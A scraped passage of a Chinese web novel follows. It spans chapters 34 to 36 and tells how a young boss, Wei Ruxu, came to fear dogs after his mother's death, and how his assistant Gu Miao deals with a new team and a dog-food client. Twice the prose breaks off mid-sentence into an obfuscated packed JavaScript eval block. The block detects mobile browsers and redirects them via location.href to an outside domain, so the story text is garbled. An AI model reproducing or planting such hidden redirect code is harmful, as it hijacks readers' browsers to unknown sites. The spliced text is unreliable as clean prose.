这只金毛还没成年,个头也不高,正是一生当中最丑的时候,但耐不住它会讨人喜欢,一见顾妙就狂摇尾巴,简直让人担心它下一秒会飞起来。 顾妙对狗子“上下其手”,眼冒精光:“刘奶奶,这狗真可爱,叫什么名字呀?” 刘奶奶笑呵呵:“孙女给取的,叫‘撒么’。” 顾妙:“……” 刘奶奶一家是东北人,给狗取名还带口音呢? 见她正发愣,刘奶奶又补充了一句:“说是英文名,夏天的意思。” 原来是“Summer”…… 顾妙默默摸着狗头,哽了哽才挤出一张笑脸:“好名字!” 刘奶奶见她这么喜欢,大手一挥:“你带家去玩吧,一会儿给我送上来就行。” “真的?!”顾妙一高兴,把狗子抱了起来,“谢谢刘奶奶,过会儿就给您送回去!” 抱回屋里,她还轻轻对狗子说:“有个哥哥在睡觉,你可千万别叫啊。” Summer乖巧地舔着她的脸,回应了她一脸口水。 顾妙看看挂钟,已经十点半,心想也该叫魏如栩起床了,不然多耽误她玩狗,于是立刻改变了决定,抱着狗子轻轻推开了顾肖卧室的门。 她悄悄地走近床边,把Summer凑到魏如栩脸跟前,这狗子完全不认生,伸开长舌头对着这张俊脸舔了起来。 魏如栩一下子就醒了,皱着眉,伸手在脸上抹了一把,缓缓睁开眼。 顾妙抱着狗蹲在旁边哈哈直乐,准备看老板大吃一惊的窘相,谁知却看到一张愤怒的脸。 待看清眼前是条狗以后,魏如栩就像被弹簧弹了起来,双手并用迅速退到床角,看着金毛的眼神充满了嫌恶,大声吼道:“快把它弄走!快弄走!” 34. 第三十四章 心魔 顾妙从未在魏如栩脸上见过这样的表情,他那么讨厌廖玄,说起来也不过是微微皱眉,带着一点嫌弃,可他看向狗子的表情明显带着一百分的鄙弃和敌意,导致她愣在当场,不知该如何是好。 魏如栩不禁提高了音调:“你听见了吗?我说快把它弄走!” 狗子在顾妙怀里“呜呜”了两声,想必也已经觉察到魏如栩对它的恶意,有点委屈。 顾妙赶紧抱起狗子走到门口,魏如栩看着她的动作,迅速退到了另一边床角,似乎跟这狗再近一点就会染上什么传染病似的。 见魏如栩这么如临大敌,顾妙也没办法,只好开门把狗放出去,然后关上门,打算先安抚老板。 她靠在门边,无奈地看着魏如栩:“你是怕狗吗?” 魏如栩平静了下来,神情却还是冷冰冰的:“我讨厌狗。你如果不把它弄走,我可能会弄死它!” 任他说得咬牙切齿,但在顾妙看来,他不过是色厉内荏。可既然他有这么大反应,那还是别触这个霉头。 “行,我这就还给邻居,你起来洗漱吧。”顾妙没追问原因,拉开门走了。 魏如栩恶狠狠地盯着卧室门,似乎能透过那门看到外面的狗子似的。直到听见顾妙关大门的声音,他似乎才轻轻松了口气,把脸埋进了蜷起来的膝盖里。 顾妙把Summer送回刘奶奶家,又陪着她聊了几句家长里短,这才得以脱身。一进门便看见魏如栩已经换好了晾干的衣服,坐在沙发上看手机。 “饿了吧?我给你热饭,吃两口包子垫一垫,一会儿就该吃中午饭了。”顾妙迟疑了一下,“你一会儿有什么打算?” 魏如栩疑惑地看了她一眼,似乎不明白她问这句话的意思。 “不知道你今天有什么安排,所以提前问清楚,好按人头准备饭。” “我没什么安排,顾肖呢?” “陪未来女朋友去了,未必有空陪你。” “未来女朋友?”魏如栩更加疑惑了,“这么有把握?” 顾妙心累地摆摆手:“一言难尽。” 魏如栩看着她:“如果我不在这,你下午打算干什么?” “可能去看个电影,最近不是刚刚上了部大片么?”顾妙毫无心机地脱口而出,话一说完就觉得不妙。 果然,魏如栩说:“我和你一起去。” 顾妙:“……” 小魏总什么时候这么粘人了?!所以他看狗不顺眼,是同类相斥么?! 魏如栩敏锐地觉察到了顾妙那一秒钟的凝滞,挑起眉:“不愿意?” 顾妙哪敢:“不是。” “约了暗恋对象?” 顾妙赶紧解释:“那个不存在。” “这不就结了。我请你看,还避免你尴尬,多划算的买卖。”魏如栩说着就打开手机软件准备买票,略有不爽地嘟囔,“不知道你在不情愿什么。” 顾妙讪讪地钻进厨房热饭,觉得自己简直成了二十四小时贴身保姆。 这个口子绝对不能开!看完电影就找机会跟他强调一下! 身为助理,也是要有个人空间的! 小魏总大手笔,一声不吭买了VIP厅的座位,跟顾妙一人一个大沙发占着,能躺平的那种。 虽说VIP也不算贵,但钱串子顾妙从不肯花这个冤枉钱,从来没有光顾过电影院的VIP厅。 乍一坐进来,还挺新鲜,她按着按钮玩着沙发座椅,兴奋地到处摸。 “这沙发是真皮的吗?”顾·没见过世面·妙问魏如栩。 魏如栩不想理她,调到最佳角度闭目养神。 顾妙连连赞叹:“啧啧,要是以后看电影都能看VIP就好了。” “你就这点追求?矜持点行吗?”小魏总看不下去,出言谴责。旁边陆续有观众过来,他怕顾妙过于丢人。 “这就是劳动人民朴实的追求。我小时候喜欢吃凉皮,还打算长大卖凉皮呢。” 魏如栩:“……” 这有什么可骄傲的吗? “呵呵,你怎么没打算嫁给卖凉皮的。”魏如栩冷静讽刺,“将来做个凉皮西施。” 顾妙把靠背调到跟他同一个角度,侧身躺着看他,调侃道:“老板你这是第二次夸我好看了。” 魏如栩瞟了她一眼,似笑非笑地:“这么在意我的看法?不怕老板我潜规则你?” “呵,你想得美。”顾妙得意地撩了一下额前刘海,“但是享受一下来自异性的赞美还是很不错滴!” 魏如栩:“我怎么记得昨天有个人说老板在她眼里没有性别?” 顾妙:“……” 记性这么好怎么不去参加最强大脑?! 电影没什么意思,顾妙看得昏昏欲睡,这VIP座位就是好,睡一睡也算值回票价。 就在她上下眼皮直打架的时候,忽然听到环绕立体声传来一阵狗叫,巨大的荧幕上一只德国黑背华丽登场,追着一个人就开始咬。 这本来没什么,可是顾妙忽然想到魏如栩对狗的反应,一下子清醒了,转头去看他。 荧幕光照在魏如栩脸上,忽明忽暗的光线里看到他嘴唇抿得紧紧的,似乎在忍耐什么,忍了几秒钟他便放弃,起身向影厅外走去。 顾妙挣扎了几下才从滑不溜手的沙发里爬起来,跟上他的脚步。 魏如栩意识到她也跟出来了,轻叹一口气:“你回去看吧,我在外边等你。” “嗨,没什么看头,多待会儿我就睡着了。”顾妙摆摆手。 “因为我个人原因影响你……抱歉。”魏如栩实心实意地说,“早上对你说话语气也不好。” 顾妙怔了怔,觉得小魏总忽然又离她远了点:“应激反应嘛,道什么歉!你平时跟我说话贱兮兮的就挺好,可别突然变样。” “一码归一码,有错要认。”魏如栩莞尔一笑,突然伸手刮了刮她的鼻子,“再好的朋友也得注意分寸,不能放肆。” “别瞎闹——看,抹你一手油吧?”顾妙皱着眉躲了躲。 魏如栩心里叹了口气,算是知道这人为什么长得不错性格也挺好、却还是单身狗一只了。 “要不咱们去那小亭子里唱歌吧。”顾妙看到有两人从旁边的迷你KTV里出来,眼珠一转,拉着魏如栩就去抢占座位。 魏如栩也没异议,随她拉着走。 钻进小隔间,顾妙一边扫码付费,一边接上了刚刚的话题:“你怎么跟人当朋友都当得这么多条条框框?既然都是好朋友了,还怕什么放肆不放肆的。” “我不相信世间有真正亲密无间的关系。”魏如栩淡淡地说,“任何关系都是有底线的,太过放肆总会触及到。既然已经是好朋友,自然还是要珍惜要维护,不能过度消耗。基本礼貌也要遵守。” “听起来很有道理的样子。”顾妙一边选着歌,一边装作漫不经心地问,“哎,对了,能不能问一下,你跟狗之间到底有什么深仇大恨?” 旁边的魏如栩一阵沉默,顾妙万分后悔,感觉自己触了雷,连扭头看他的表情都不敢。幸亏屏幕上还放着背景歌曲,透过耳机咿咿呀呀地传了出来,要不然这个小隔间真的会尴尬到令人窒息。 就在顾妙以为他什么都不会说、打算问他想唱什么歌以转移话题的时候,魏如栩突然开口了。 “我八岁那年养过一只金毛,叫奇奇。”魏如栩看到顾妙转过来的脸上表情有点紧张,自嘲地笑了笑,“名字有点土,对吧,毕竟那时候我还小,取不出什么洋气的名字。” 顾妙头摇得像拨浪鼓:“比楼上那只‘撒么’好多了。” 魏如栩没追问“撒么”是怎么回事,绷着脸继续说:“奇奇长大以后,个头特别大,撒起欢来我和我妈都拉不住,所以常常是等我爸回家去遛它。但那会儿我爸刚开始创业没多久,特别忙,每次回来都很晚,又累又困还要去遛狗,渐渐就有了脾气,说要把狗送人。” 顾妙一听有点急:“啊?真送人了?” “他是有这个想法,所以我就害怕了,每天琢磨着怎么解决这个问题,我试着训奇奇在洗手间里大小便,它很懂事,学得很快。”魏如栩说起这些事,表情一直很淡,就像这事跟自己无关似的,“但它毕竟算是条大型犬,整天憋在家里受不了,所以有一天,我跟妈妈商量,想带他到公园溜达一圈。” “我妈本来不同意,因为她要看着我,还要顾着这么大一条狗,怕照顾不过来,可是耐不住我软磨硬泡,她还是答应了,牵着奇奇带上我去了街心公园。奇奇在家憋了好久,终于能放风了,开心得一直撒欢。可是公园里还有别的孩子,所以妈妈不敢松开牵引绳,怕它扑倒别的小朋友。” “我就一直又跑又跳,在前边逗着它玩,看到一架滑梯,我就跑了过去。那时候正是贪玩的年纪,我又有点捣蛋,非要从滑板那部分爬上去,可那架滑梯不像现在小孩玩的塑料滑梯,而是铁皮的,很高。妈妈不放心,一直叫我下来。” “可我太不听话,不仅一边手脚并用地往上爬,一边回头叫奇奇过来。奇奇按捺不住,嗷嗷叫着往前冲,妈妈没有拉住它,反而被它带着一直往前跑,一不小心腿磕在了旁边铁艺长椅上,膝盖被生生刮掉一块肉。” 听到这里,顾妙“嘶”地倒吸一口凉气,感觉自己的膝盖也疼了一下。 魏如栩垂着眼,继续缓缓说道:“看到妈妈摔跤,我也分了心,一下子从滑梯上摔了下来。那次摔得挺严重的,妈妈吓坏了,把奇奇托付给邻居,抱着我就去了医院。我的胳膊还好,只是骨折,医生给我绑了绷带吊起来,让我不要乱动,好好休养。可我也不知道怎么的,吓得发烧了。” “一烧烧了好几天,反反复复,总是白天降下去,晚上烧起来。爸爸那阵子又特别忙,根本顾不上照顾我,所以都是妈妈在守着我,完全忽略了自己的伤口。大概一个多星期我才好起来,她却突然晕倒了,躺在地上不停抽搐。我吓坏了,愣了好一会儿给爸爸打了电话,他叫来了急救车把妈妈送进医院。” 说到这里,魏如栩顿了顿,虽然表情仍是平静,可顾妙注意到,放在膝盖上的手开始微微颤抖。 “之后的情况我一无所知,再见到妈妈,她躺在病床上,被单一直盖到脸。”魏如栩的声音越发低了,“是她膝盖上的那道伤,是破伤风。” 顾妙看着他低垂的眉眼,眼眶发酸,伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏如栩叹了口气,“但长期不在一起生活,我俩之间有点生疏,彼此也对我妈妈的死绝口不提。所以现在他生病,让我来公司帮忙,我必须要做好,就当是我对他的补偿。” 顾妙看着他,若有所思地点点头:“终于说得通了。” “……”魏如栩疑惑地看着她,“什么意思?” “其实我一直不觉得你喜欢干这行,要不然你早就会来公司实习,何必等到现在赶鸭子上架,还表现得工作热情高涨。”顾妙玩着手里的话筒,“所以廖玄之前说的也是对的,他也是怕你勉强。” “他怎么想我不管,但我现在确实没有一开始那么抵触。原本我只是硬着头皮上,但现在渐渐发现做这行也是有乐趣的。” “什么乐趣?”顾妙觉得小魏总不是人,“社畜的乐趣?” 魏如栩眼神在她脸上飘忽了一下:“我也不知道,反正就是比我想象中的有意思。” 顾妙摇摇头:“权力使人忘记自己姓啥——你是当老板,当然觉得有意思,换你来当小跟班试试。” “怎么,当我助理受委屈了?”魏如栩假装绷起脸。 顾妙食指放在嘴边“嘘”了一下,煞有介事地四下打量这个小小的隔间。 魏如栩:“你又故弄什么玄虚?” 顾妙:“你不觉得这个小隔间很像超人的电话亭吗?” “……你想说什么?” “咱们在这里就没有上下级身份啦,出去以后才算,所以我拿你当朋友,你拿我也当朋友,说话百无禁忌。”顾妙冲他眨眨眼,俏皮地说,“这里说过的话,就留在这里,OK?” 魏如栩愣愣地盯着她,突然明白了她什么意思,心中顿时软了一软,弯起眼睛笑道:“OK。” 顾妙这个抠门玩意儿就充了半小时时长,俩人聊天选歌用去二十五分钟,剩下五分钟,魏如栩听这位自认为美丽的大姑娘跑着调唱完了一首的《茶酒伴》,脸上的表情堪称精彩绝伦。 直到从隔间里出来,小魏总的眉头还没展开,匪夷所思地看着顾妙:“那首歌那么简单,你也能跑调跑成这样?自己知道吗?” “知道啊!”顾妙理直气壮,“跑调就不能唱了吗?行走江湖,图的是一个‘爽’字。” 魏如栩生无可恋:“你爽了,我快死了!” 说到这里,他似乎想到了什么,回头看了一眼小隔间,然后目光灼灼地看着顾妙:“你刚才拉我进去,是为了逼供,对吧?所以特意找了个僻静地方?” 顾妙大眼睛一瞪,随即心虚地移开目光,嘴里含糊不清地:“没逼供啊……你自己说的,不赖我——我这不是考虑到私密的环境你会有安全感嘛,是不是很贴心啊朋友?!” “现在不是朋友了。”魏如栩故意绷起脸,转身向前走去,“我是你老板。” 顾妙忙不迭地跟上去,拉着他一条胳膊,笑嘻嘻地:“那老板,你现在心里是不是舒服多了?” 魏如栩偏头瞥了她一眼:“心机女。” 顾妙笑盈盈迎着他的目光:“知性男。” 魏如栩忍不住打了个冷战:“多少年前的词库拜托更新下吧,这都什么老掉牙的词儿。走了,先送你回家好好歇着,明天上班你要是迟到,就跟这个月奖金说拜拜吧。” 顾妙欲哭无泪:“你可不能公报私仇啊!” 35. 第三十五章 新团队 魏如栩心里藏着十多年的自责,一直以来封闭着自己的感情,想变得强大,这样就不会再因为自己的虚弱连累别人。 于是他心里越发冷淡,也不爱说心里话,但凡遇上点烦心事,万一找不到好的发泄途径,晚上做梦都是刀光剑影。 他常常是带着一身冷汗从梦里惊醒,醒来心里空空荡荡,又会无端想起母亲的去世,四周蔓延的寒意卷起满腔自责,小刀似地刮在心上,刀刀见血。 但也不知道是怎么了,那晚车祸的乌龙事件莫名让他心安理得做了一次小孩,撒娇耍赖无所不能,还跟顾妙交换了心事——虽然之后想想觉得有点羞耻,但确实如顾妙所说,心里舒服多了,入睡很快,一夜无梦到天亮,醒来感觉心情舒畅,开开心心去上班。 一进办公室,便看见顾妙正在工位上忙活。魏如栩本能地压下嘴角的微笑,试图树立几分老板的威严,大摇大摆走进来。 顾妙身份切换的更加灵活,赶忙起立打招呼:“小魏总早。” “嗯,早。”魏如栩大尾巴狼似地钻进自己办公室里,回想刚刚顾妙低眉顺眼的样子就觉得有趣。 正赶上新员工报到,魏如栩一心想跟这个年轻的新团队合作,于是让顾妙通知了苗之钦,安排跟整个创意B组开个会,大家先熟悉一下。 之后盛然过来找他,汇报了车的情况。昨天那辆车已经拉到了店里做检修,等金额核算清楚了会再通知他们。 因为不想让公司其他人知道,所以车的事儿就交给盛然全权负责,他倒也毫无怨言,一口答应下来。 魏如栩瞅着他的脸,总觉得他平静的表情下暗藏着什么令人精神大爽的喜事。但毕竟两人也不算太熟,他也没多问。 盛然从魏如栩办公室离开的时候,正对上顾妙刚抬起来的眼睛,于是热情洋溢地冲她点了点头。 顾妙:“?” 看似很普通的打招呼,为什么莫名感觉多了一层八卦的意味? 她想都没想就掏出手机,给凌晏如发微信:“小姨,你跟盛总怎么了?他看我的眼神怎么不对劲儿?” 过了半晌,凌晏如回复:“他眼神不对你可以建议他去治眼,关我屁事。” 顾妙:“……” 刚刚那句话哪个字儿有问题么? 听说他俩昨天去打高尔夫了,难道又发生了什么? 正当顾妙沉思着用什么语言合理反击的时候,魏如栩抄着口袋走过来,伸手敲了敲她的桌子:“到点儿开会了,快走,心机女。” 顾妙:“……好的,老板。” 她忙不迭拿了个本子,一溜小跑跟在心情大好的小魏总身后。 想要组建的团队组建完成,终于可以放开手脚大干一场,魏如栩斗志满满,对这次见面充满期待。 新上任的组长苗之钦此刻在一楼会议室里坐着,虽然沐浴在阳光里,整个人却显得忧心忡忡。 全新的创意B组,就她一个老员工,剩下的全是新人,人好不好使还得另说,先上来就得磨合,跟策划的对接能顺利吗?这些小瓜娃子们能把握好品牌调性吗? 所以说有些事新不如旧是真的。 小魏总上周跟她聊的时候就坦诚了想加入这个团队、在业务上从基层开始熟悉的意思,不仅自己来,还要带着他那年轻的顾助理。 反正小魏总和顾助理总不会亲自下场写文案吧,就算他们要写,通不通过这事儿最终还得看策划那边,决定权也不在自己手上,倒也没什么。 但,有些事情就比较尴尬了。 听说小魏总学艺术出身,自然免不了要对两个美术的作品进行指点——但愿他只是指点,而不是指指点点。 毕竟广告类的美术,跟纯艺术的美术,概念是不同的。 纯外行已经很难搞了,比如那五彩斑斓的黑、万紫千红的白什么的,可小魏总这一跨界,会不会带来新的难搞之风?那要是从艺术上去辩驳,谁能说得过他?员工和老板之间的关系岂不每天都要面对灵魂的拷打? 再者说,就算最终决策权在策划,如果稿件和设计总被打回来,岂不显得他们创意B组很没能力?谁敢说老板的不是?新员工刚来还不熟悉品牌似乎也能理解,那背锅的岂不是她这个老员工兼组长? 这么安排一个组,实在太不合理,小魏总也真是任性。 苗之钦越想越胃疼,上个周末完全是在左右为难中度过的,差点就要写辞职信。最后是求生欲阻止了她,毕竟现在自己也算升职,辞职再找一来麻烦二来时间不对三来工作未必好找,所以她决定先观望观望。 然而眼前这四位新来的小伙伴,并没有帮她燃起对战生活的勇气。 这四个孩子相互之间零交流,各自抱着手机正刷得起劲。 祝商祺是个眉清目秀的小伙子,就是看着面冷,玩手机玩得直皱眉,一脸苦大仇深。 贺若活泼点,但似乎面部表情过于丰富,玩个手机神情一直挤眉弄眼,活像在拍什么九连拍。 茅笛这姑娘相对比较稳重,盯手机的样子全神贯注,但忽然接下来一个姨母笑吓坏了苗之钦的小心脏,令她赶紧把目光转向旁边的戚滢滢。 这位古典美女仍旧是汉服打扮,好在是改良版,裙子不再拖地。只见她两手报手机,十指上下翻飞,打字速度相当快。 苗之钦听说她有个自己的汉服小店,见她这副模样不禁腹诽:“难不成正在线卖货?” 于是她清了清嗓子:“咳咳,各位先停一下手里的事儿。” 四双眼睛齐刷刷地看过来,苗之钦突然有点忘词,哽了几秒钟才说:“大家都是刚加入咱们公司的,相互之间还不熟悉……” 贺若右手攥拳,大拇指指了指祝商祺:“我俩是大学室友,挺熟的。” 苗之钦:“……” 娃你这样在职场剧里活不过前三集晓得伐? 幸亏魏如栩及时带着顾妙赶到,解救了苗之钦,接下来舞台让给小魏总去表演。 面对一屋子新鲜血液,魏如栩有点兴奋,表现得不太像个总经理,倒像是学生会主席。 他说了一番打气鼓劲的话,接着就是展望了一下未来,希望创意B组能够拿出好的成绩来证明自己的实力。 然而其他人的心理活动是这样的。 祝商祺:“证明个毛线,哥向来是最好的。” 贺若:“不用证明,我肯定没商祺好。” 茅笛:“跟谁比?其他两个组?又不是同一个项目搞竞赛。” 戚滢滢:“……不会老加班吧,我还有件衣服要赶呢,刚刚买家还在催。” 苗之钦心里在滴血:“我没有实力,老板组长我不当了你让我回原来的组稳稳当当的吧。” 顾妙敏锐地观察了一下几个人的表情,冲魏如栩使了个眼色。 魏如栩心领神会,他也知道这种轻飘飘的打气毫无意义,还是得整点事儿让大家尽快熟悉起来,于是便提出今晚下班全组人先聚个餐。 没想到这话就像热水溅进了油锅里,四个新员工反应强烈,诧异地面面相觑,满脸呼之欲出的三个字“不想去”。 还是茅笛先开了口:“抱歉老板,今天晚上家里人要一起吃饭,庆祝我第一天上班。” 魏如栩:“……倒也合理。” 戚滢滢也赶紧说:“对啊对啊,我家也是。” 祝商祺跟贺若交换了一下眼神,话交给贺若来说:“我跟商祺晚上要去看展,票早就买好了。” 苗之钦看着这几个娃,钦佩得不行,欲哭无泪地想:“大家都是爽快人,上班第一天就这么稳重拒绝老板,好得很好得很,看来我这个组长他们将来也不必放在眼里了。” 顾妙看着魏如栩的眼睛在几个新人脸上逡巡,有点不太对劲,心里十分捉急,可她又觉得自己此刻不该说话,要么显得老板太怂,要么显得她狐假虎威,均是不妥。 好在魏如栩也并不想扬刀立威,他沉吟了一下,觉得确实没跟人商量时间,人家有事也无可厚非。再说这也不是工作需要,他也不方便摆老板架子强迫大家都来。 “那行吧,既然大家时间都不合适,就你们商量出三个备选时间交给顾助理。”魏如栩看着苗之钦,“怎么样?” 苗之钦点点头:“嗯,没问题。” 上次两人见面谈过之后,魏如栩要苗之钦写个简单的工作计划交上来,想看看她打算怎么带这支新队伍。苗之钦一早就把这份计划发给了魏如栩,他看完之后没什么异议,便让她在会议上宣布了。 其实工作计划很简单,主要都是围绕着团队建设和成长,团建部分自不用说,一个月至少一次游戏&聚餐,逢组员生日加一次。 成长方面,苗之钦打算每周抽一个小时做分享会,组员轮番选择自己认为比较不错的广告案例进行分享,内容可以包罗万象,并不拘泥于本身专业。也不一定非要选择成功优秀的案例,有反面案例也可以拿来吐槽,并说明如果自己负责的话会怎么做。 顾妙看着新来的四个人,发现他们一个个脸都绿了,但这一次他们很明智,谁也没敢表达什么异议。 拒绝成长进步,可不是新员工想给老板留下的印象。 现代青年大多讨厌束缚,之前自由自在了二十多年,一朝踏入社会,发现再也不能随心所欲,确实有点苦闷。 但这又跟上学时候不一样,想独立是要付出代价的。 沉吟了半天,贺若小心翼翼举了下手。 魏如栩:“说。” “分享会是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459412|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上班时间还是下班时间?” 苗之钦:“灵活机动,上班如果有空闲就上班开。” 贺若点点头,不说话了。 苗之钦:“谁还有问题吗?” 四个人都低着头,一动不动,像是四尊佛像。 苗之钦看向魏如栩:“基本没别的事儿了。” 魏如栩点点头:“好,我也没别的事。再强调一点,将来跟大家一起开会讨论,不用把我当成总经理,我是来学习的。我们都是同龄人,你们不用拘束。” 顾妙看着他们纷纷点头,心想老板你想多了,他们才不会拘束。 “嗯,我先走了,你们等一下,喻总会给你们简单聊一聊,安排工作。”魏如栩冲顾妙使了个眼色,两人离开了气氛开始发沉的会议室。 喻真已经到了门口,跟魏如栩简单打了个招呼便走了进去。 魏如栩回头看了会议室一眼,问顾妙:“感觉他们似乎都不高兴,也没什么激情。” “谁上班有激情,你这是五十年代的脑子?我们大多数人希望现在就能进入退休生活。”顾妙直言不讳。 魏如栩斜眼看着她:“顾助理,真心话大冒险?” “老板你忘了屁股决定脑袋了?被剥削阶级本来就跟剥削阶级之间存在不可调和的矛盾呀!除非将来大家翻身做主人,真的对公司产生归属感。要不然好多公司有员工持股计划呢,这是常见的激励手段。” 两个人一边说一边上楼,魏如栩扫了她一眼:“这理论是你上学学的?” “也掺杂了个人体会。”顾妙说。 魏如栩嗤笑,回头看她:“才上班一个月,能有什么个人体会。” “……挺深刻的体会呢。” “说来听听。” “不想说,跟老板说真心话,后果很严重。” “你说吧,我不罚你,不符合公司规定。” 顾妙跟着他走进办公室,迟疑了一下:“身为员工,当然希望工作时间留给工作,其他时间留给个人,不想跟工作扯上半点关系——公司又不是我的,再卖力有什么用?指不定干多久就换下家了呢。” 魏如栩抄着口袋,脸上挂着职业微笑,在她面前踱着步,似乎在思考什么。 顾妙忽然觉得有点冷,莫非今天中央空调开大了? “呃……老板,我出去工作了。”顾妙转头想走。 “慢着。”魏如栩喊住她,脸上笑意更浓,“苗之钦说的那个分享会,你也参与案例分享,正好一周五天轮一遍。” 顾妙:“……” 就知道你不安好心! “知道了,我会认真准备。”顾妙垂头丧气地向外走。 魏如栩本以为会气到她,没想到她这么毫无怨言地就接受了,诧异地跟在后面追问:“就答应了?” 顾妙坐在工位上,抬起头来幽幽地看他一眼:“你是老板,我跟你争有意思吗?” “如果为了维护自己权益的话,我不介意你跟我争论。”魏如栩双手撑在桌子上,弯下腰笑眯眯地看着她,“我还是能容许不同意见的。” “倒也没什么,多学东西对我来说是好事,学进我脑子里的知识你可剥削不走。” 魏如栩:“啧啧,我亲手挑的助理觉悟就是高。” 顾妙也不是觉悟高,就是之前找工作四处碰壁吓怕了,觉得多个技能多条路,为将来打算而已。况且突然做了总经理助理,她确实觉得自己还不行,需要学很多东西来充实自己。 有时候不经过社会的无情殴打,确实还不知道自己几斤几两。 但听到魏如栩夸人同时不忘夸自己,她本能想怼两句,却被他的手机铃把话堵回了嗓子眼。 魏如栩一看来电显示,是那天一起玩的嘻哈哥打来的,他也没回办公室,毫不避讳地在顾妙面前接起电话,一开口,痞子味儿就上来了,跟原地大变活人似的。 魏如栩:“喂,老孙,找我有事?” 老孙:“问问你车怎么样了。” “哦,拖去店里了,等着算维修价格。” 老孙:“千万不能放过那小子。对了,那天记得听你说想找广告客户,我也不太懂你们那行,但正好这边有朋友提到个活儿,不知道你感不感兴趣。” “真的?!太好了,谢谢你惦记着哥们儿,有客户尽管招呼过来。”魏如栩很是激动,冲顾妙使个眼色,对电话里问道,“什么活儿?” 听到“客户”俩字,顾妙也有点高兴,心想这车是没白撞。 “详细的你们得面谈,回头你把助理电话给我,显得正式一点。”老孙说,“那朋友家做宠物食品的,对,好像主营是狗粮。” 听到“狗粮”俩字,魏如栩的脸色肉眼可见地变了色。 36. 第三十六章 与自己和解 顾妙看着魏如栩表情活像吞了个苍蝇一样,十分担心,见他挂了电话走进办公室,忙不迭地跟了上去。 “怎么了?是什么品牌?什么产品?”顾妙有点怕小魏总心高气傲,嫌人家东西不上档次,好声好气地劝,“先跟人见面聊聊,别着急拒绝。” 魏如栩靠在沙发上,两条长腿交叠搭在一起,双手拿着手机,有一下没一下地抠着手机壳,一脸“我不想说话快滚出去”。 顾妙觉得自己身为助理,也不能盲目唯老板命令是从,她要在老板不靠谱的时候对他忠言逆耳。 于是她螺丝钉似地钉在原地,任凭魏如栩向她投射威胁的目光。 “你甭瞪我了,到底甲方是做什么的?就算是猪饲料也有的谈吧?”顾妙努力回想了一下公司章程,没记得有挑客户的规定。 “不是猪饲料。”魏如栩闷闷地说,“……是狗粮。” 饶是小魏总一脸上坟的表情,顾妙仍旧很不厚道地忍不住想笑,她刚一捂嘴,魏如栩的眼睛就瞪了过来。 “笑什么笑?!” “笑你帅得可爱!”顾妙随口糊弄他,赶忙说,“宠物食品很好啊,咱们公司也没有代理同类品牌,你就试试嘛,毕竟是自己辛苦拉来的第一个机会,总得对得起那辆被撞得稀烂的车吧?” 魏如栩垂着头坐着,依旧不吭声,脸色并没有好转,过了一会儿,他叹了口气:“好吧。” 顾妙十分高兴,迈着碎步跑到小吧台倒了杯咖啡,哄孩子似地递到魏如栩手边:“就是嘛,不要被过去绊住脚步,大胆尝试,fighting!” “被什么过去绊住脚步?”魏如栩表情古怪地看着她。 顾妙:“……没什么,就……跟自己和解,挺好的。” 魏如栩毫无征兆地开始咆哮:“跟你说更新词库你听见了吗?以后能不能不再说这种奇怪的话!” 虽然小魏总的咆哮是压在嗓子里的,但莫名显得更有杀伤力。顾妙识时务者为俊杰,飞快地跑了。 魏如栩郁闷坏了,后悔自己怎么就把藏了那么多年的心事告诉了她。 冲动是魔鬼! 他虽然有些懊恼,但也没过多犹豫,很快把顾妙的联系方式告诉了老孙。 大家手速都挺快,没一会儿,顾妙就在微信上收到了好友请求,备注是“爱伴宠物市场部”。 聊了两句,顾妙大体知道,此人是爱伴宠物市场部总监的助理,名叫宋康,俩人接头主要就是简单沟通一下,为双方大佬见面打前站。 大家都很忙,约好确定自家老板行程后再探讨双方见面时间,接着客套几句就没再说话了。 顾妙之前没有跟市场部打过交道,也不太清楚总经理怎么跟客户对接,生怕自己说多错多,明智地选择了少说为妙。 过了一会儿,倒是魏如栩沉不住气,喊了她一声:“顾助理!” 顾妙一溜小跑进了办公室:“在!” 魏如栩:“对方联系你了吗?” 顾妙:“嗯,沟通过了,我正在研究你的行程,好跟对方约时间。” 魏如栩听到这里,没有接话,似乎在思考什么。 “那个,老板……”顾妙看他这副样子,想了想,“你要亲自去谈这个项目吗?” “不然呢?”魏如栩抬头看她,脸上没什么表情,“你觉得我不该去?” 顾妙连忙说:“怎么可能!这是你朋友介绍的项目,你去也在情理之中。就是我觉得……” 小魏总今天原本心情很好,但是接了狗粮项目之后,似乎就很不美丽了。 顾妙看着他面无表情的脸,突然不太敢说话。 “别吞吞吐吐的,有话快说。” 顾妙:“老板你去是对客户高看一眼,对方肯定会很高兴。但我觉得有些事你也不用事必躬亲,咱们可以带个AE过去,由他们来主谈。” 她一边说着,一边小心翼翼地觑着魏如栩的表情。 她原先想的是,小魏总没有直接谈过客户,恐怕一方面心里很想去,一方面也会担忧自己露怯。如果是他朋友倒也罢了,可这是朋友介绍的公司,如果被人觉得不专业,似乎不太妥当。 魏如栩撩起眼皮:“然后呢?你有人选吗?” 顾妙:“……” “提出问题不提供解决方案,等于耍流氓。”魏如栩似笑非笑,“你在对我耍流氓吗顾助理?” 该死的魏如栩,小心我去HR投诉哦! 顾妙当然不是这种人,她早想好了人选,就是有点不太敢说,被魏如栩这么一激,倒也没了顾忌。 “我觉得盛总挺合适的。”顾妙说,“一来他是副总监,职位高,和你总经理一起去对接,显得对客户重视。二来我觉得他做事够稳妥,值得信赖。第三,据说他不是廖玄的人,算我小心眼也好怎么样都好,就觉得他不会帮着廖玄抢客户。” 魏如栩坐在大班椅上,一只手臂支起来托着腮。顾妙说话的时候,他抬眼看着她认真聆听,待他说完,就垂下眼睛,一声不吭。 